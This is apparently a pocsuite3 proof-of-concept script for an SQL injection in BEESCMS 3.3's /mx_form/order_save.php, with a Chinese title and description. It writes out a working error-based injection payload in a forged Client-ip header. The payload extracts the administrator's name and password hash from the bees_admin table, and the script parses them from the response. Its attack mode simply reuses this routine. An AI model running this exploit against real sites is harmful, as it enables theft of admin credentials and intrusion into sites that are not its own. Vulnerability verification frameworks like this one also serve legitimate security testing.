beescms 3.3 /mx_form/order_save.php SQL注入漏洞

""" If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit http://pocsuite.org """ from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str from requests.exceptions import ReadTimeout import re class DemoPOC(POCBase): vulID = '1249' # ssvid version = '1' author = ['chenghs@knownsec.com'] vulDate = '2014­-04-­12' createDate = '2014-04-18' updateDate = '2014-04-18' references = ['http://www.wooyun.org/bugs/wooyun-2010-055608'] name = 'beescms 3.3 /mx_form/order_save.php SQL注入漏洞 POC' appPowerLink = 'http://www.beescms.com/' appName = 'BEESCMS' appVersion = '3.3#' vulType = 'SQL Injection' desc = ''' BEESCMS 3.3 /mx_form/order_save.php文件中 line 59对$ip的检查可以使用大小写绕过，然后在line 63将$ip拼接在SQL语句中 形成SQL注入漏洞 ''' samples = [] install_requires = [''] def _verify(self): result = {} url = self.url + '/mx_form/order_save.php' headers_fake = {} headers_fake['Client-ip'] = '127.0.0.1\',(SELECT 1 FROM (SELECT count(1),' \ 'concat(round(rand(0)),(SELECT concat(0x71677' \ '66571,0x7c,admin_name,0x3a73706c69743a,admin' \ '_password,0x7c,0x716b616771) FROM bees_admin' \ ' LIMIT 0,1))a FROM information_schema.tables' \ ' GROUP by a)b))#' data = 'form_id=5&fields%5Bmail%5D=1&fields%5Busername%5D=1&fields%5Btel%' \ '5D=1&fields%5Bweb_contact%5D=1&fields%5Baddress%5D=1&fields%5Bcon' \ 'tent%5D=1&lang=cn&f_id=23&submit=%E6%8F%90%E4%BA%A4' r = requests.post(url, data=data, headers=headers_fake) content = r.text results = re.findall('qgveq\|(.+):split:([a-fA-F0-9]{32})\|qkagq', content) if results: result['Database'] = {} result['Database']['Username'] = results[0][0] result['Database']['Password'] = results[0][1] return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() def _shell(self): pass register_poc(DemoPOC)